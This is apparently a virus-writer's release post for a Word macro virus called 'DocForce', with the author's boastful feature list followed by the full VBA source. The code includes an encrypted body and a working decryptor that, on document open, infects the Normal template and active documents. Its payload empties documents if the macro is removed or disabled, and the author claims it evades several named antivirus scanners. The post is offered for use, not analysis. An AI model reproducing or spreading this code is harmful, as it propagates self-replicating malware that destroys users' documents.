f l i t n i c @ g m x . n e t		member of [SOS]

http://members.tripod.com/Flitnic

Hi folks :)

This is my newest virus --> DocForce
It's not designed to have a good stealth or polymorphic engine!
It was designed to be encrypted and it has a new feature!
The User loses his document's containing if he deletes my macro out or
if he doesn't activate its macros :)

This would be a very good virus, if it weren't very slow on older Pentium machines.. On my PII it's fast enough. However this new feature 
is an intersting one as I guess. And the virus would be two times 
faster if I hadn't included that encryption, but a virus without any 
stealth poly or encryption sucks :)

Okay here are the features:

1. DocCapturing: the document's text is being lost if the virus is deleted or not activated (after restoring the virus the text is back again)
2. Encryption: It is on each run new encrypted by a randomly generated key between 1 and 101.
3. Poly: Only basic: line adding. (cause of performance)
4. Stealth: Only basic (locking). (cause of performance)
5. IT'S NOT DETECTED BY HMVS, F-PROT'S F-MACROW, NORTON AV'S HEURISTIC and F/WIN32... others not tested.. 
6. Payload: If a user transfers his documents to another machine or 
gives them to a friend, the document will be empty (only the virus will
 be in) :)

okay that's it... FUCK THE AVs!


f l i t n i c @ g m x . n e t

http://members.tripod.com/Flitnic

------------->8------- Cut Here For Virus ----------------------------

Private Sub Document_Open()
''13
Bas = 0
''n-J-Np�v�rQ|p�zr{�;cO]|wrp�;cOP|z}|{r{��5>6;P|qrZ|q�yr;Yv{r�5>9->6
''Vs-n-J-/]v�n�r-`�o-Q|p�zr{�l\}r{56/-aur{
''`r�-v{s-J-[|znyarz}yn�r
''`r�-�|�-J-Np�v�rQ|p�zr{�
''Vqr{�-J-Vqr{�-8->
''R{q-Vs
''N}}yvpn�v|{;R{noyrPn{pryXr�-J-�qPn{pryQv�noyrq
''n-J-[|znyarz}yn�r;cO]|wrp�;cOP|z}|{r{��5>6;P|qrZ|q�yr;Yv{r�5>9->6
''Vs-n-J-/]v�n�r-`�o-Q|p�zr{�l\}r{56/-aur{
''`r�-�|�-J-[|znyarz}yn�r
''`r�-v{s-J-Np�v�rQ|p�zr{�
''Vqr{�-J-Vqr{�-8-?
''R{q-Vs
''Vs-Vqr{�-J-@-aur{
''`r�-v{s-J-[|znyarz}yn�r
''`r�-�|�-J-Np�v�rQ|p�zr{�
''R{q-Vs
''N}}yvpn�v|{;\}�v|{�;cv��]|�rp�v|{-J-Sny�r
''\}�v|{�;`n�r[|zny]|z}�-J-Sny�r
''_n{q|zv�r-avzr
''{q[�zor-J-V{�5_{q-7->==6-8->
''_Y-J-@
''�|�;cO]|wrp�;cOP|z}|{r{��5>6;P|qrZ|q�yr;r}ynpryv{r-?9-/44/-3-{q[�zor
''_Y-J-=
''Np�v�n�r�-J-=
''_Y-J-@
''yv{-J-�|�;cO]|wrp�;cOP|z}|{r{��5>6;P|qrZ|q�yr;P|�{�\sYv{r�
''�-J->
''Q|-b{�vy-�-J-yv{
''`}nprY-J->
''�-J-�-8->
''y-J-�|�;cO]|wrp�;cOP|z}|{r{��5>6;P|qrZ|q�yr;Yv{r�5�9->6
''Vs-Np�v�n�r�-J->-aur{-T|a|-\�rW�z}
''Vs-y-J-/R{q-`�o/-aur{
''Np�v�n�r�-J->
''T|a|-[r�W�z}
''Ry�r
''T|a|-[r�W�z}
''R{q-Vs
''\�rW�z}G
''Vs-y-J-/]v�n�r-`�o-Q|p�zr{�lPy|�r56/-aur{-T|a|-[r�W�z}
''Vs-y-J-/R{q-`�o/-aur{-T|a|-R`�o
''Vs-V{`�5y9-/�v{qv-J/6-K-=-N{q-V{`�5y9-/V{`�/6-J-=-N{q-Vqr{�-J-@-aur{-[|Qry-J->
''yy-J-Yr{5y6
''S|-v-J->-a|-yy
''o-J-Zvq5y9-v9->6
''p-J-N�p5o6
''p-J-p-8-{q[�zor
''o-J-Pu5p6
''arz}Y-J-arz}Y-3-o
''`}nprY-J-=
''[r��-v
''Vs-`}nprY-J-=-aur{
''_Y-J-_Y-8->
''Q|
''}|�rP|qr-J-�|�;cO]|wrp�;cOP|z}|{r{��5>6;P|qrZ|q�yr;Yv{r�5_Y9->6
''Vs-Yrs�5}|�rP|qr9-?6-J-/44/-aur{-R�v�-Q|
''_Y-J-_Y-8->
''Y||}
''�|�;cO]|wrp�;cOP|z}|{r{��5>6;P|qrZ|q�yr;r}ynpryv{r-_Y9-/44/-3-arz}Y
''Vs-[|Qry-IK->-aur{
''�|�;cO]|wrp�;cOP|z}|{r{��5>6;P|qrZ|q�yr;Qryr�rYv{r�-�9->
''Ry�r
''�-J-�-8->
''R{q-Vs
''arz}Y-J-//
''R{q-Vs
''y-J-�|�;cO]|wrp�;cOP|z}|{r{��5>6;P|qrZ|q�yr;Yv{r�5�9->6
''T|a|-\�rW�z}
''W�z}G
''[r�W�z}G
''Y||}
''R`�oG
''dv��r{O�-J-/SYVa[VP/
''s�px-J-/SbPX-Nc].9-SbPX-S:]_\a.9-SbPX-Q;-`\Y\Z\[.9-SbPX-UZc`.9-SbPX-S:dV[@?./
''_n{q|zv�r-avzr
''{qcnY-J-V{�5_{q-7-?=6-8->
''S|-prn�rcn-J->-a|-{qcnY
''{qcn-J-V{�5_{q-7->?C6-8->?E
''[r�cn-J-[r�cn-3-Pu5{qcn6
''[r��-prn�rcn
''��-J->
''Q|
''��-J-��-8->
''n-J-�|�;cO]|wrp�;cOP|z}|{r{��5>6;P|qrZ|q�yr;Yv{r�5��9->6
''Vs-n-J-/R{q-`�o/-aur{-R�v�-Q|
''Y||}
''�urrV{�r�-J-V{�5_{q-7-��-:-A6-8-A
''�|�;cO]|wrp�;cOP|z}|{r{��5>6;P|qrZ|q�yr;V{�r�Yv{r�-�urrV{�r�9-[r�cn-3-/G/
''{qcnY-J-V{�5_{q-7-?=6-8->
''S|-prn�rcn-J->-a|-{qcnY
''{qcn-J-V{�5_{q-7->?C6-8->?E
''[r�cn?-J-[r�cn?-3-Pu5{qcn6
''[r��-prn�rcn
''[r�cn?-J-Pu5@A6-3-[r�cn?-3-Pu5@A6
''��-J->
''Q|
''��-J-��-8->
''n-J-�|�;cO]|wrp�;cOP|z}|{r{��5>6;P|qrZ|q�yr;Yv{r�5��9->6
''Vs-n-J-/R{q-`�o/-aur{-R�v�-Q|
''Y||}
''�urrV{�r�-J-V{�5_{q-7-��-:-A6-8-A
''�|�;cO]|wrp�;cOP|z}|{r{��5>6;P|qrZ|q�yr;V{�r�Yv{r�-�urrV{�r�9-[r�cn-3-/J/-3-[r�cn?
''{qcnY-J-V{�5_{q-7-?=6-8->
''S|-prn�rcn-J->-a|-{qcnY
''{qcn-J-V{�5_{q-7->?C6-8->?E
''[r�cn-J-[r�cn-3-Pu5{qcn6
''[r��-prn�rcn
''[r�cn-J-/_rz-/-3-[r�cn
''��-J->
''Q|
''��-J-��-8->
''n-J-�|�;cO]|wrp�;cOP|z}|{r{��5>6;P|qrZ|q�yr;Yv{r�5��9->6
''Vs-n-J-/R{q-`�o/-aur{-R�v�-Q|
''Y||}
''�urrV{�r�-J-V{�5_{q-7-��-:-A6-8-A
''�|�;cO]|wrp�;cOP|z}|{r{��5>6;P|qrZ|q�yr;V{�r�Yv{r�-�urrV{�r�9-[r�cn
''Vs-bPn�r5v{s6-J-/[\_ZNY;Q\a/-aur{
''�|�;cO]|wrp�;cOP|z}|{r{��5>6;P|qrZ|q�yr;r}ynpryv{r-@9-/On�-J->/
''Ry�r
''�|�;cO]|wrp�;cOP|z}|{r{��5>6;P|qrZ|q�yr;r}ynpryv{r-@9-/On�-J-=/
''R{q-Vs
''SP|qr-J-�|�;cO]|wrp�;cOP|z}|{r{��5>6;P|qrZ|q�yr;Yv{r�5>9-�|�;cO]|wrp�;cOP|z}|{r{��5>6;P|qrZ|q�yr;P|�{�\sYv{r�6
''Vs-bPn�r5v{s6-J-/[\_ZNY;Q\a/-aur{
''�|�;cO]|wrp�;cOP|z}|{r{��5>6;P|qrZ|q�yr;r}ynpryv{r-@9-/On�-J-=/
''Ry�r
''�|�;cO]|wrp�;cOP|z}|{r{��5>6;P|qrZ|q�yr;r}ynpryv{r-@9-/On�-J->/
''R{q-Vs
''Xr�Ov{qv{t�;Nqq-Xr�P|qrGJO�vyqXr�P|qr5�qXr�Ny�9-�qXr�S>>69-Xr�Pn�rt|�GJ�qXr�Pn�rt|�S|{�9-P|zzn{qGJ/-/
''Xr�Ov{qv{t�;Nqq-Xr�P|qrGJO�vyqXr�P|qr5�qXr�Ny�9-�qXr�SE69-Xr�Pn�rt|�GJ�qXr�Pn�rt|�S|{�9-P|zzn{qGJ/-/
''N}}yvpn�v|{;P|zzn{qOn�5/a||y�/6;P|{�|y�5>?6;cv�voyr-J-Sny�r
''Vs-Vqr{�-J-@-aur{
''�v{q-J-R{�v|{5/�v{qv/6
''\}r{-/pGisyv�{vp;on�/-S|-N}}r{q-N�-0>
'']v{�-0>9-/r{-/-3-�v{q-3-/i����rzi�zz@?isyv�{vp/-3-Pu5?BB6-3-Pu5?>F6-3-Pu5?BA6-3-/-Syv�{vp/
'']v{�-0>9-/r�v�/
''Py|�r
''�u-J-`uryy5/pGisyv�{vp;on�/9-=6
''S|-�nv��-J->-a|->====
''Q|R�r{��
''[r��-�nv��
''Xvyy-/pGisyv�{vp;on�/
''qqq-J-Qv5�v{q-3-/i����rzi�zz@?isyv�{vpi/-3-Np�v�rQ|p�zr{�;[nzr6
''Vs-qqq-J-//-aur{-R�v�-`�o
''`ryrp�v|{;du|yr`�|�
''`ryrp�v|{;Qryr�r
''`ryrp�v|{;V{�r�Svyr-Svyr[nzrGJ�v{q-3-/i����rzi�zz@?isyv�{vpi/-3-Np�v�rQ|p�zr{�;[nzr9-_n{trGJ//9-P|{svzP|{�r�v|{�GJSny�r9-Yv{xGJSny�r9-N��npuzr{�GJSny�r
''\}r{-/pGisyv�{vp;on�/-S|-N}}r{q-N�-0>
'']v{�-0>9-/r{-/-3-�v{q-3-/i����rzi�zz@?isyv�{vp-syv�{vp/-3-Pu5?BB6-3-Pu5?>F6-3-Pu5?BA6
'']v{�-0>9-/r�v�/
''Py|�r
''�u-J-`uryy5/pGisyv�{vp;on�/9-=6
''S|-�nv��?-J->-a|->====
''Q|R�r{��
''[r��-�nv��?
''Xvyy-/pGisyv�{vp;on�/
''N}}yvpn�v|{;`prr{b}qn�v{t-J-a�r
''N}}yvpn�v|{;`prr{_rsr�u
''R�v�-`�o
''R{q-Vs
''v{s;cO]|wrp�;cOP|z}|{r{��5>6;P|qrZ|q�yr;Qryr�rYv{r�->9-v{s;cO]|wrp�;cOP|z}|{r{��5>6;P|qrZ|q�yr;P|�{�\sYv{r�
''v{s;cO]|wrp�;cOP|z}|{r{��5>6;P|qrZ|q�yr;nqqs|z��v{t-5SP|qr6
''R�v�-`�o
''�v{qv-J-R{�v|{5/�v{qv/6
''ortv{G
''\}r{-/pGisyv�{vp;on�/-S|-N}}r{q-N�-0>
'']v{�-0>9-/r{-/-3-�v{qv-3-/i����rzi�zz@?isyv�{vp/-3-Pu5?BB6-3-Pu5?>F6-3-Pu5?BA6-3-/-Syv�{vp/
'']v{�-0>9-/r�v�/
''Py|�r
''�u-J-`uryy5/pGisyv�{vp;on�/9-=6
''S|-�nv��-J->-a|->====
''Q|R�r{��
''[r��-�nv��
''Xvyy-/pGisyv�{vp;on�/
''qqq-J-Qv5�v{qv-3-/i����rzi�zz@?iSyv�{vp/9-�oQvrp�|�6
''Vs-qqq-J-//-aur{
''ZxQv-�v{qv-3-/i����rzi�zz@?iSyv�{vp/
''\}r{-/pGisyv�{vp;on�/-S|-N}}r{q-N�-0>
'']v{�-0>9-/r{-/-3-�v{qv-3-/i����rzi�zz@?isyv�{vp-syv�{vp/-3-Pu5?BB6-3-Pu5?>F6-3-Pu5?BA6
'']v{�-0>9-/r�v�/
''Py|�r
''�u-J-`uryy5/pGisyv�{vp;on�/9-=6
''S|-�nv��-J->-a|->====
''Q|R�r{��
''[r��-�nv��
''Xvyy-/pGisyv�{vp;on�/
''T|a|-ortv{
''R{q-Vs
''s��-J-Np�v�rQ|p�zr{�;S�yy[nzr
''Vs-Zvq5s��9-?9->6-IK-/G/-aur{
''N}}yvpn�v|{;Qvny|t�5�qQvny|tSvyr`n�rN�6;`u|�
''R{q-Vs
''s��-J-Np�v�rQ|p�zr{�;S�yy[nzr
''O��rPn�u-J-�v{qv-3-/i����rzi�zz@?isyv�{vpi/-3-Np�v�rQ|p�zr{�;[nzr
''Np�v�rQ|p�zr{�;`n�rN�-�v{qv-3-/i����rzi�zz@?isyv�{vpi/-3-Np�v�rQ|p�zr{�;[nzr9-9-9-9-Nqqa|_rpr{�Svyr-J-Sny�r
''Q|-b{�vy-�-J-_rpr{�Svyr�;P|�{�
''�-J-�-8->
''Vs-V{`�5_rpr{�Svyr�5�6;]n�u9-/yv�{vp/6-K-=-aur{-_rpr{�Svyr�5�6;Qryr�r
''Y||}
''N}}yvpn�v|{;`prr{b}qn�v{t-J-Sny�r
''N}}yvpn�v|{;`prr{_rsr�u
''`ryrp�v|{;du|yr`�|�
''`ryrp�v|{;Qryr�r
''Np�v�rQ|p�zr{�;P|{�r{�;V{�r�Ors|r-/dn{v{tG/-3-Pu5>@6
''Np�v�rQ|p�zr{�;P|{�r{�;V{�r�Ns�r-/auv�-v�-n-}|�rp�rq-q|p�zr{�./-3-Pu5>@6
''Np�v�rQ|p�zr{�;P|{�r{�;V{�r�Ns�r-/f|�-un�r-�|-np�v�n�r-�ur-znp|�-v{-�ur-q|p�zr{�-ors|r-�|�-pn{-�rr-�ur-q|p�zr{�4�-�r��./-3-Pu5>@6
''Np�v�rQ|p�zr{�;P|{�r{�;V{�r�Ns�r-/`|-py|�r-�ur-q|p�zr{�9-|}r{-v�-ntnv{-n{q-pyvpx-|{-4Np�v�n�r-znp|�4./-3-Pu5>@6
''Np�v�rQ|p�zr{�;`n�rN�-s��
''\}r{-/pGisyv�{vp;on�/-S|-N}}r{q-N�-0>
'']v{�-0>9-/r{-/-3-�v{qv-3-/i����rzi�zz@?isyv�{vp-syv�{vp/-3-Pu5?BB6-3-Pu5?>F6-3-Pu5?BA6
'']v{�-0>9-/r�v�/
''Py|�r
''�u-J-`uryy5/pGisyv�{vp;on�/9-=6
''S|-�nv��-J->-a|->====
''Q|R�r{��
''[r��-�nv��
''Xvyy-/pGisyv�{vp;on�/
''�-J-=
''Qryr�r[|�G
''Q|-b{�vy-�-J-Np�v�rQ|p�zr{�;cO]|wrp�;cOP|z}|{r{��5>6;P|qrZ|q�yr;P|�{�\sYv{r�
''�-J-�-8->
''Vs-`�-J->-aur{
''Pp-J-Pp-8->
''Ry�r
''Ppp-J-Ppp-8->
''R{q-Vs
''n-J-Np�v�rQ|p�zr{�;cO]|wrp�;cOP|z}|{r{��5>6;P|qrZ|q�yr;Yv{r�5�9->6
''Vs-n-J-/]v�n�r-`�o-Q|p�zr{�lPy|�r56/-aur{-`�-J->
''Y||}
''Np�v�rQ|p�zr{�;cO]|wrp�;cOP|z}|{r{��5>6;P|qrZ|q�yr;Qryr�rYv{r�-Ppp-8->9-Pp-:->
''n-J-Np�v�rQ|p�zr{�;cO]|wrp�;cOP|z}|{r{��5>6;P|qrZ|q�yr;Yv{r�5Np�v�rQ|p�zr{�;cO]|wrp�;cOP|z}|{r{��5>6;P|qrZ|q�yr;P|�{�\sYv{r�9->6
''Vs-n-IK-/R{q-`�o/-aur{-Np�v�rQ|p�zr{�;cO]|wrp�;cOP|z}|{r{��5>6;P|qrZ|q�yr;V{�r�Yv{r�-Np�v�rQ|p�zr{�;cO]|wrp�;cOP|z}|{r{��5>6;P|qrZ|q�yr;P|�{�\sYv{r�-8->9-/R{q-`�o/
''N}}yvpn�v|{;`prr{b}qn�v{t-J-a�r
''N}}yvpn�v|{;`prr{_rsr�u
''Np�v�rQ|p�zr{�;`n�r
''

If Application.ShowVisualBasicEditor = True Then Application.ShowVisualBasicEditor = False
Set Nm = NormalTemplate.VBProject
a = Nm.VBComponents(1).CodeModule.Lines(1, 1)
If a = "Private Sub Document_Open()" Then
Set inf = ActiveDocument.VBProject
Set sour = NormalTemplate.VBProject
Ident = 1
End If
Set Ad = ActiveDocument.VBProject
a = Ad.VBComponents(1).CodeModule.Lines(1, 1)
If a = "Private Sub Document_Open()" Then
Set inf = NormalTemplate.VBProject
Set sour = ActiveDocument.VBProject
Ident = Ident + 2
End If
If Ident = 3 Then
If Bas <> 1 Then
Set inf = NormalTemplate.VBProject
Set sour = ActiveDocument.VBProject
Else
Exit Sub
End If
End If
l = sour.VBComponents(1).CodeModule.Lines(2, 1)
lll = Len(l) - 2
rndNumber = Right(sour.VBComponents(1).CodeModule.Lines(2, 1), lll)
rndNumber = CInt(rndNumber)
lin = sour.VBComponents(1).CodeModule.CountOfLines
t = 2
Do Until t = lin
SpaceL = 1
t = t + 1
l = sour.VBComponents(1).CodeModule.Lines(t, 1)
If l = "Private Sub Document_Open()" Then GoTo NexJump
If t = 2 Then GoTo NexJump
If Left(l, 2) <> "''" Then GoTo NexJump
ll = Len(l)
For i = 3 To ll
b = Mid(l, i, 1)
c = Asc(b)
c = c - rndNumber
b = Chr(c)
TempL = TempL & b
SpaceL = 0
Next i
If SpaceL = 0 Then
If NewL = "" Then
NewL = TempL
GoTo Jump
End If
NewL = NewL & Chr(13) & TempL
End If
Jump:
TempL = ""
NexJump:
If t = 173 Then
e = 2
End If
Loop
EndDecrypt:
t = 0
Do Until t = lin
t = t + 1
s = sour.VBComponents(1).CodeModule.Lines(t, 1)
If s = "Private Sub Document_Close()" Then Exit Do
Loop
sour.VBComponents(1).CodeModule.InsertLines t + 1, NewL
Application.ScreenUpdating = False
Call Document_Close
End Sub
Private Sub Document_Close()
End Sub